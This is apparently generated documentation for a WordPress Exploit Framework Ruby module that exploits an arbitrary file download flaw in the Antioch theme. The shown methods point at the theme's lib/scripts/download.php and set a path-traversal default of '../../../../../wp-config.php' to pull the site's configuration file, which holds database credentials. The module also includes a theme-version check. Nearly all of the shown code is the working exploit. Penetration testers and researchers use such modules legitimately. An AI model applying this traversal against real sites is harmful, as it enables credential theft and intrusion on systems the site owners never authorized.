class Wpxf::Auxiliary::AntiochArbitraryFileDownload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 6
def initialize
  super

  update_info(
    name: 'Antioch Theme Arbitrary File Download',
    author: [
      'Ashiyane Digital Security Team', # Disclosure
      'rastating'                       # WPXF module
    ],
    references: [
      ['WPVDB', '8406']
    ],
    date: 'Sep 08 2014'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 22
def check
  check_theme_version_from_style('antioch')
end
default_remote_file_path() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 26
def default_remote_file_path
  '../../../../../wp-config.php'
end
download_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 38
def download_request_params
  { 'file' => remote_file }
end
downloader_url() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 34
def downloader_url
  normalize_uri(wordpress_url_themes, 'antioch', 'lib', 'scripts', 'download.php')
end
working_directory() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb, line 30
def working_directory
  'wp-content/themes/antioch/lib/scripts/'
end